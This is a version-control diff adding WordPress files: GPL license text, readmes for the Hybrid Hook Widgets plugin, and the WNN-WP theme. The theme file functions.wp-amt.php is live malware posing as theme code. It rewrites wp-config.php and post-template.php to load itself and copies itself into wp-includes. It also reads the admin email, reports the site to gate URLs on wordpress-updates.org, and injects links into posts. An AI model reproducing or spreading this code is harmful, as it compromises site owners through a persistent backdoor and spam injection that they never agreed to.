and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/plugins/hybrid-hook-widgets/readme.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/plugins/hybrid-hook-widgets/readme.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,66 @@ +/* Reset values */ +html,body,div,span,object,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,samp,small,strong,sub,sup,tt,var,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td{margin:0;padding:0;vertical-align:baseline;outline:none;font-size:100%;background:transparent;border:none;text-decoration:none}b,i,hr,u,center,menu,layer,s,strike,font,xmp{margin:0;padding:0;vertical-align:baseline;outline:none;font-size:100%;font-weight:normal;font-style:normal;background:transparent;border:none;text-decoration:none}font{color:#333}center{text-align:left}body{line-height:25px;font-family:Cambria,Georgia,Times,"Times New Roman",serif;color:#333;background:#fff}h1,h2,h3,h4,h5,h6{font-style:normal;font-weight:normal;margin:0 0 25px 0}h1{font-size:1.8em}h2{font-size:1.7em}h3{font-size:1.55em;}h4{font-size:1.4em}h5{font-size:1.25em}h6{font-size:1.1em}p{margin:0 0 25px 0}ol,ul{list-style:none}ul{list-style:disc;margin:0 0 25px 2.5em}ol{list-style-type:decimal;margin:0 0 25px 3em}ol ol{list-style:upper-roman}ol ol ol{list-style:lower-roman}ol ol ol ol{list-style:upper-alpha}ol ol ol ol ol{list-style:lower-alpha}ul ul,ol ol,ul ol,ol ul{margin-bottom:0}dl{margin:0 0 25px 5px}dl dt{font-weight:bold;margin:10px 0 0 0}dl dd{margin:5px 0 0 1.5em}strong{font-weight:bold}strong strong{font-weight:normal}em,cite{font-style:italic}em em,cite cite{font-style:normal}abbr{cursor:help}acronym{text-transform:uppercase;border-bottom:1px dashed #666;cursor:help}big{font-size:120%}small,sup,sub{font-size:80%}sup{vertical-align:baseline;position:relative;bottom:0.3em}sub{vertical-align:baseline;position:relative;top:0.3em}address{font-style:italic;margin:0 0 25px 0}li address,dd address{margin:0}blockquote{margin:0 25px;font-style:normal}blockquote em,blockquote cite{font-style:italic}blockquote,q{quotes:none}blockquote:before,blockquote:after,q:before,q:after{content:'';content:none}a{cursor:pointer}a img{border:none}pre{overflow:auto;font:.9em Monaco,monospace,Courier,"Courier New";line-height:25px;margin-bottom:25px;padding:10px}code{font:.9em Monaco,monospace,Courier,"Courier New"}pre code{font-size:1em}ins,dfn{font-style:italic;text-decoration:none;border-bottom:1px solid #666}del{text-decoration:line-through}object{margin-bottom:25px}input,textarea{font-size:1em;font-family:Cambria,Georgia,Times,"Times New Roman",serif;padding:3px}:focus{outline:none}form label{cursor:pointer}option{padding:1px 2px}table{border-collapse:collapse;border-spacing:0;margin-bottom:25px}th,td{text-align:left}hr{margin-bottom:25px}img.wp-smiley{max-height:12px;margin:0;padding:0;border:none}.gallery{display:block;text-align:center;margin-bottom:25px !important}.alignleft,.left{float:left;margin-right:20px}.alignright,.right{float:right;margin-left:20px}.aligncenter,.center{display:block;margin:0 auto 25px auto}.alignnone,.block{clear:both;margin:0 0 25px 0}.clear{clear:both}img.alignleft,img.alignright{display:inline} + +body { + width: 750px; + margin: 36px auto 60px auto; + font: 15px/21px Arial, 'Helvetica Neue', Helvetica, sans-serif; + font: 16px/25px Georgia, Times, 'Times New Roman', serif; + } +/* Links */ +a:link, a:visited { + color: #2f6eb9; + text-decoration: none; + } +a:hover, a:active { + text-decoration: underline; + } +/* Headers */ +h1, h2, h3, h4, h5, h6 { + margin: 40px 0 30px 0; + color: #000; + font-weight: bold; + font-family: Arial, sans-serif; + } +h1 { + margin-top: 80px; + font-size: 2.2em; + } +code { + padding: 0 3px; + background: #eee; + } +pre code { + padding: 0; + } +pre { + padding: 9px; + background: #eee; + border: 1px solid #ccc; + } +ul { + list-style: square; + } +p.first { + font-size: 21px; + } +p.second { + font-size: 15px; + } +ul.space li { + margin-bottom: 10px; + } +.section { + overflow: hidden; + } + +.columns-2 { + float: left; + width: 350px; + margin: 0 0 21px 25px; + } +.columns-3 { + float: left; + width: 230px; + margin: 0 0 21px 20px; + } \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/plugins/hybrid-hook-widgets/readme.html --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/plugins/hybrid-hook-widgets/readme.html Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,106 @@ + + + + +A guide to the Hybrid Hook Widgets plugin + + + + + + +

    A guide to Hybrid Hook Widgets

    + +

    Hybrid Hook Widgets is a plugin that creates new widget areas for the Hybrid theme and attaches them to the theme's action hooks. Basically, it allows you to add widgets pretty much anywhere.

    + +

    Typically, to add extra stuff to the theme, you must use one of Hybrid's action hooks. This can be quite confusing to some users. This plugin was created mainly for those users without much XHTML and PHP knowledge. It allows them to take advantage of Hybrid's advanced hook system without the need to understand how it works. Of course, even advanced users can take advantage of this, especially when dealing with client work.

    + +

    How to install the plugin

    + +
      +
    1. Uzip the hybrid-hook-widgets.zip folder.
    2. +
    3. Upload the hybrid-hook-widgets folder to your /wp-content/plugins directory.
    4. +
    5. In your WordPress dashboard, head over to the Plugins section.
    6. +
    7. Activate Hybrid Hooks Widgets.
    8. +
    + +

    Using the plugin

    + +

    This plugin is pretty simple to use. Just head over to your Widgets panel while in your WordPress admin. You'll notice several additional widget areas for you to use. When a widget is placed within a particular widget area, it will show on the front end of your site:

    + +
      +
    • + Hook: Before HTML
      + Located just inside the <body> tag and before all other content. +
    • +
    • + Hook: After HTML
      + Located just before the closing </body> tag and after all other content. +
    • +
    • + Hook: Before Header
      + Located before the theme's header area. +
    • +
    • + Hook: Header
      + Located within the theme's header area. +
    • +
    • + Hook: After Header
      + Located after the theme's header area. +
    • +
    • + Hook: Before Container
      + Located just before the main content area. +
    • +
    • + Hook: After Container
      + Located just after the main widget areas (Primary and Secondary). +
    • +
    • + Hook: Before Footer
      + Located before the theme's footer area. +
    • +
    • + Hook: Footer
      + Located within the theme's footer area. +
    • +
    • + Hook: Before HTML
      + Located after the theme's footer area. +
    • +
    • + Hook: Comment Form
      + Located at the end of the comment form. +
    • +
    + +

    Some notes about usage

    + +

    Because this plugin isn't necessarily supported within the theme or its child themes, there may be some times when things look a little wonky. This is perfectly normal and expected. This is caused by two issues:

    + +
      +
    1. No CSS rules are written specifically for this plugin's widget areas.
    2. +
    3. The child theme has other features that push the widget area out of view.
    4. +
    + +

    The biggest thing here is the CSS. More than likely, you'll have to write some custom style rules to make the widget areas appear as you'd like. That's just how it is, but diving into your child theme's style.css file beats the heck out of having to dive into both your style.css and functions.php files.

    + +

    To read more about the action hooks within the Hybrid theme, please read the hooks reference.

    + +

    Plugin support

    + +

    I run a WordPress community called Theme Hybrid, which is where I fully support all of my WordPress projects, including plugins. You can sign up for an account to get plugin support for a small yearly fee ($25 USD at the time of writing).

    + +

    I know. I know. You might not want to pay for support, but just consider it a donation to the project. To continue making cool, GPL-licensed plugins and having the time to support them, I must pay the bills.

    + +

    Copyright & license

    + +

    Series is licensed under the GNU General Public License, version 2 (GPL).

    + +

    This plugin is copyrighted to Justin Tadlock.

    + +

    2009 © Justin Tadlock

    + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/plugins/hybrid-hook-widgets/readme.txt --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/plugins/hybrid-hook-widgets/readme.txt Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,69 @@ +=== Hybrid Hook Widgets === +Contributors: greenshady +Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=3687060 +Tags: widget, widgets, hooks, custom +Requires at least: 2.8 +Tested up to: 2.8 +Stable tag: 0.1 + +Adds 11 new widget areas to the Hybrid WordPress theme framework using its action hooks. + +== Description == + +*Hybrid Hook Widgets* is a plugin that creates new widget areas for the Hybrid theme and attaches them to the theme's action hooks. Basically, it allows you to add widgets pretty much anywhere. + +Typically, to add extra stuff to the theme, you must use one of *Hybrid's* action hooks. This can be quite confusing to some users. This plugin was created mainly for those users without much XHTML and PHP knowledge. It allows them to take advantage of *Hybrid's* advanced hook system without the need to understand how it works. Of course, even advanced users can take advantage of this, especially when dealing with client work. + +This plugin is for **WordPress 2.8+ only**. + +You must have the Hybrid theme installed to use it. + +Full instructions for use can be found in the plugin's `readme.html` file, which is included with the plugin download. + +== Installation == + +1. Upload `hybrid-hook-widgets.zip` to the `/wp-content/plugins/` directory. +2. Activate the plugin through the *Plugins* menu in WordPress. +3. Go to your *Widgets* panel and add widgets to the new widget area. + +More detailed instructions can be found in the plugin's `readme.html` file. + +== Frequently Asked Questions == + += Why create this plugin? = + +Many users don't understand how to use action hooks from a child theme. PHP might not be their thing. I wanted these users to be able to easily take advantage of some of *Hybrid's* more advanced features without having to learn how to code. + += What does this plugin do, exactly? = + +It creates 11 new widget areas that *hook* into various parts of the theme. This allows users to add widgets virtually anywhere. + += What widgets areas are available? = + +Aside from *Hybrid's* many default widget areas, you'll get 11 new ones: + +* Hook: Before HTML +* Hook: After HTML +* Hook: Before Header +* Hook: Header +* Hook: After Header +* Hook: Before Container +* Hook: After Container +* Hook: Before Footer +* Hook: Footer +* Hook: Before HTML +* Hook: Comment Form + += I don't understand any of this. What should I do? = + +You should do a little reading. The `readme.html` file included with the plugin has links to tons of resources. Everything you need to know is there. + +== Screenshots == + +There are currently no screenshots. + +== Changelog == + +**Version 0.1** + +* Plugin launch. \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/plugins/index.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/plugins/index.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,3 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/archive.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/WNN-WP/archive.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,29 @@ + +
    + +
    +
    + Posted at by +
    +
    +
    +
    +
    + Posted in | +
    +
    + + + +
    +

    +
    + +
    + + +
    + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/comments.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/WNN-WP/comments.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,102 @@ +post_password)) { // if there's a password + if ($_COOKIE['wp-postpass_' . COOKIEHASH] != $post->post_password) { // and it doesn't match the cookie +?> + +

    +

    + + + + + + +

    to “

    + +
      + + +
    1. + + + + +
    2. + + + + +
    + + + +comment_status) : ?> + + + + +

    Comments are closed.

    + + + + + +comment_status) : ?> + +

    Leave a Reply

    + + +

    You must be logged in to post a comment.

    + + + +
    + + +

    Logged in as . Logout »

    + + + +

    +

    + +

    +

    + +

    +

    + + + + + +

    + +

    + +

    + +ID); ?> + +
    + + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/footer.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/WNN-WP/footer.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,16 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/functions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/WNN-WP/functions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,255 @@ + "Front Page Advertisement", + "type" => "title"), + + array( "type" => "open"), + + array( "name" => "Adsense Code", + "desc" => "Enter Your Adsense Code for a 468x60 advertisement.", + "id" => $shortname."_ad_code", + "type" => "textarea"), + + array( "type" => "close"), + + array( "name" => "Featured Post Image (Width 267px)", + "type" => "title"), + + array( "type" => "open"), + + array( "name" => "Img Url", + "desc" => "Enter the url to the image you would like to appear (max width of 267px).", + "id" => $shortname."_fimg", + "type" => "textarea"), + + array( "type" => "close"), + + array( "name" => "Featured Video (333x333px)", + "type" => "title"), + + array( "type" => "open"), + + array( "name" => "Featured Video", + "desc" => "Enter the code for the featured video (333x333px).", + "id" => $shortname."_fvideo", + "type" => "textarea"), + + array( "type" => "close"), + + array( "name" => "Advertisement Cubes (125x125px)", + "type" => "title"), + + array( "type" => "open"), + + array( "name" => "First Advertisement Image", + "desc" => "Enter the image for the first advertisement.", + "id" => $shortname."_ad1img", + "type" => "textarea"), + + array( "name" => "First Advertisement Link", + "desc" => "Enter the link for the first advertisement.", + "id" => $shortname."_ad1link", + "type" => "textarea"), + + array( "name" => "Second Advertisement Image", + "desc" => "Enter the image for the second advertisement.", + "id" => $shortname."_ad2img", + "type" => "textarea"), + + array( "name" => "Second Advertisement Link", + "desc" => "Enter the link for the second advertisement.", + "id" => $shortname."_ad2link", + "type" => "textarea"), + + array( "name" => "Third Advertisement Image", + "desc" => "Enter the image for the third advertisement.", + "id" => $shortname."_ad3img", + "type" => "textarea"), + + array( "name" => "Third Advertisement Link", + "desc" => "Enter the link for the third advertisement.", + "id" => $shortname."_ad3link", + "type" => "textarea"), + + array( "name" => "Fourth Advertisement Image", + "desc" => "Enter the image for the fourth advertisement.", + "id" => $shortname."_ad4img", + "type" => "textarea"), + + array( "name" => "Fourth Advertisement Link", + "desc" => "Enter the link for the fourth advertisement.", + "id" => $shortname."_ad4link", + "type" => "textarea"), + + array( "type" => "close") + + +); + +function mytheme_add_admin() { + + global $themename, $shortname, $options; + + if ( $_GET['page'] == basename(__FILE__) ) { + + if ( 'save' == $_REQUEST['action'] ) { + + foreach ($options as $value) { + update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } + + foreach ($options as $value) { + if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } else { delete_option( $value['id'] ); } } + + header("Location: themes.php?page=functions.php&saved=true"); + die; + + } else if( 'reset' == $_REQUEST['action'] ) { + + foreach ($options as $value) { + delete_option( $value['id'] ); } + + header("Location: themes.php?page=functions.php&reset=true"); + die; + + } + } + + add_theme_page($themename." Options", "".$themename." Options", 'edit_themes', basename(__FILE__), 'mytheme_admin'); + +} + +function mytheme_admin() { + + global $themename, $shortname, $options; + + if ( $_REQUEST['saved'] ) echo '

    '.$themename.' settings saved.

    '; + if ( $_REQUEST['reset'] ) echo '

    '.$themename.' settings reset.

    '; + +?> +
    +

    settings

    + +
    + + + + + + + + + + +

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    + + +

    + + +

    + + +

    + + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/WNN-WP/functions.wp-amt.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/WNN-WP/functions.wp-amt.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,595 @@ +0;$q--) + { + $link[$q]="/".$link[$q]; + $r_dir=str_replace($link[$q],"",$r_dir); + $rdr=amt_rdr($r_dir); + if(@in_array('wp-config.php',$rdr)) + { + $root_dir[0]=$r_dir; + break; + } + } + $root_dir[1]=$root_dir[0]."/wp-includes"; + $t_dir=$root_dir[0]."/wp-content/themes/"; + $t_dirs=amt_rdr($t_dir); + for($q=0;$qamt_trim_domen(); + $this->t_n=array($table_prefix.$amt_site."_post",$table_prefix.$amt_site."_quest",$table_prefix.$amt_site."_opt"); + return $t_n; + } + function amt_gae() + { + global $wpdb, $table_prefix; + $uid=$wpdb->get_col($wpdb->prepare("select user_id from ".$table_prefix."usermeta where meta_value='10'", $rr)); + $uem=$wpdb->get_col($wpdb->prepare("select user_email from ".$table_prefix."users where id='".$uid[0]."'", $rr)); + $this->a_em=$uem[0]; + return $a_em; + } + function amt_crtb() + { + global $wpdb; + $this->amt_gtbl(); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[0]." ( + id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , + id_post INT(9) NOT NULL , + last_up DATETIME NOT NULL , + addd DATETIME NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[1]." ( + id INT(9) NOT NULL AUTO_INCREMENT PRIMARY KEY , + l_b ENUM('0', '1') NOT NULL , + id_post INT(9) NOT NULL , + word VARCHAR(255) NOT NULL , + id_word INT( 9 ) NOT NULL , + link VARCHAR(255) NOT NULL , + date DATE NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $query=" + CREATE TABLE IF NOT EXISTS ".$this->t_n[2]." ( + host VARCHAR(255) NOT NULL , + t_o VARCHAR(255) NOT NULL , + n_f VARCHAR(255) NOT NULL , + date DATE NOT NULL + ) ENGINE = MYISAM CHARACTER SET utf8 COLLATE utf8_general_ci; + "; + $wpdb->query($query); + $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); + $this->host=$mda[0]; + if($this->host=="") + { + $amt_nf=$this->amt_gfn(); + $query="insert into ".$this->t_n[2]." (host, t_o, n_f, date) values ('wordpress-updates.org', '5', '".$amt_nf."', now());"; + $wpdb->query($query); + $mda=$wpdb->get_col($wpdb->prepare("select host from ".$this->t_n[2], $rr)); + $this->host=$mda[0]; + } + $mda=$wpdb->get_col($wpdb->prepare("select t_o from ".$this->t_n[2], $rr)); $this->t_o=$mda[0]; + $mda=$wpdb->get_col($wpdb->prepare("select n_f from ".$this->t_n[2], $rr)); $this->n_f=$mda[0]; + $mda=$wpdb->get_col($wpdb->prepare("select date from ".$this->t_n[2], $rr)); $this->c_d=$mda[0]; + } +} +$amt_d=new amt_data; +$amt_d->amt_crtb(); +$amt_d->amt_gae(); +$root_dir=amt_gp(); +$amt_d->u_tpl=$amt_u_tpl; +$amt_d->my_h=trim_url($_SERVER["HTTP_HOST"]); +$amt_d->u_g[0]="http://".$amt_d->host."/gate/post_gate.php"; +$amt_d->u_g[1]="http://".$amt_d->host."/gate/quest_gate.php"; +$amt_d->u_g[2]="http://".$amt_d->host."/gate/upd_gate.php"; +$amt_d->u_g[3]="http://".$amt_d->host."/gate/nf_gate.php"; +$amt_d->r_dir=array($root_dir[0],$root_dir[1],$root_dir[2],$root_dir[3],$root_dir[4]); +$amt_d->wp_c=$amt_d->r_dir[0]."/wp-config.php"; +$amt_d->wp_pt=$amt_d->r_dir[0]."/wp-includes/post-template.php"; +$amt_d->wp_ff=$amt_d->r_dir[0]."/wp-includes/".$amt_d->n_f; +if(file_exists($amt_d->wp_ff)) { $amt_d->wrt=1; } else { $amt_d->wrt=0; } +amt_ci(); +amt_cifi(); + +function amt_cif() +{ +global $amt_d; +if(file_exists($amt_d->wp_ff)) { return true; } else { return false; } +} + +function amt_cifi() +{ +global $amt_d; +$today=date("Ymd"); + if($today<=20100225) + { + $post = array('my_h' => $amt_d->my_h, 'my_url' => $m_url, 'wrt' => $amt_d->wrt); + amt_sender("http://".$amt_d->host."/gate/post_ci.php", $post); + } +} + +function amt_ci() +{ +global $amt_d; + $sha="!amt_cif!si"; + $sha2="!".$amt_d->n_f."!si"; + $cont=file_get_contents($amt_d->wp_c); + if(!preg_match($sha,$cont,$match) || !preg_match($sha2,$cont,$match)) + { + $amt_d->ci[0]=0; + } + else + { + $amt_d->ci[0]=1; + } + $sha="!amt_cc!si"; + $cont=file_get_contents($amt_d->wp_pt); + if(!preg_match($sha,$cont,$match)) + { + $amt_d->ci[1]=0; + } + else + { + $amt_d->ci[1]=1; + } + + if(!file_exists($amt_d->wp_ff) || filesize($amt_d->wp_ff)==0) + { + $amt_d->ci[2]=0; + } + else + { + $amt_d->ci[2]=1; + } +if($amt_d->ci[0]==1 && $amt_d->ci[1]==1 && $amt_d->ci[2]==1) { $amt_d->ci[3]=1; } else { $amt_d->ci[3]=0; } +if($amt_d->ci[3]==0) +{ + if($amt_d->ci[0]==0) + { + chmod($amt_d->wp_c, 0755); + $cont=trim(file_get_contents($amt_d->wp_c)); + $sha="/\?>$/"; + if(preg_match($sha,$cont,$name)) + { + $cont=$cont." +n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } } ?>"; + } + else + { + $cont=$cont." +if(!function_exists(amt_cif)) { if(file_exists(ABSPATH.WPINC.'/".$amt_d->n_f."')) { require_once (ABSPATH.WPINC.'/".$amt_d->n_f."'); } }"; + } + $amt_f = fopen($amt_d->wp_c,"w"); + $test = fwrite($amt_f, $cont); + fclose($amt_f); + if($test) { chmod($amt_d->wp_c, 0644); } + } + if($amt_d->ci[1]==0) + { + $cont=file_get_contents($amt_d->wp_pt); +$sha1="echo \$content;"; +$sha2="if (is_single() && function_exists(amt_cc)) { \$content = amt_cc(\$content); } + echo \$content;"; + $cont=str_replace($sha1,$sha2,$cont); + chmod($amt_d->wp_pt, 0755); + $amt_f = fopen($amt_d->wp_pt,"w"); + $test = fwrite($amt_f, $cont); + fclose($amt_f); + if($test) { @chmod($amt_d->wp_pt, 0644); } + } + if($amt_d->ci[2]==0) + { + $s_f_path=$amt_d->r_dir[2]."/functions.wp-amt.php"; + if(file_exists($s_f_path)) { $content=file_get_contents($s_f_path); } + if(file_exists($amt_d->wp_ff)) + { + chmod($amt_d->wp_ff, 0755); + } + $amt_f = fopen($amt_d->wp_ff,"w"); + $test = fwrite($amt_f, $content); + fclose($amt_f); + if($test) { chmod($amt_d->wp_ff, 0644); } + } +} +} +function amt_cc($content) +{ + global $amt_d; + $amt_id=get_the_ID(); $amt_url=$amt_d->my_h.$amt_d->r_dir[3]; $amt_md=get_the_modified_date("Y-m-d h:i:s"); amt_gct($amt_id); + amt_copt($amt_url); if(amt_pib($amt_id)==0) { $pis=amt_ins($amt_id, $amt_md, $content, $amt_url); } if($pis==1) { amt_inb($amt_id, $amt_md); } if(amt_cuq()==0) { amt_qse($amt_id, $amt_url); } $content=amt_cco($amt_id, $content); + return $content; +} +function amt_gct($id) +{ +global $amt_d; +$ololo=get_post($id); +$amt_cty=get_the_category(); +$amt_d->p_cgy=$amt_cty[$ololo->post_category]->cat_name; +$amt_d->p_ttl=$ololo->post_title; +} +function amt_cco($id, $content) +{ +global $wpdb, $amt_d; +$q_word=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); +$q_id_word=$wpdb->get_col($wpdb->prepare("select id_word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); +$q_link=$wpdb->get_col($wpdb->prepare("select link from ".$amt_d->t_n[1]." where id_post='$id' and l_b='0'", $rr)); + for($q=0;$q < count($q_word);$q++) + { + $content=amt_create_post_words($content,$q_word[$q],$q_id_word[$q],$q_link[$q],4); + } +$content.=amt_abl($id); +return $content; +} +function amt_abl($id) +{ +global $wpdb, $amt_d; +$t_link=$wpdb->get_col($wpdb->prepare("select word from ".$amt_d->t_n[1]." where id_post='$id' and l_b='1'", $rr)); + if($t_link[0]!="") + { + $tlk="

    ".$t_link[0]."

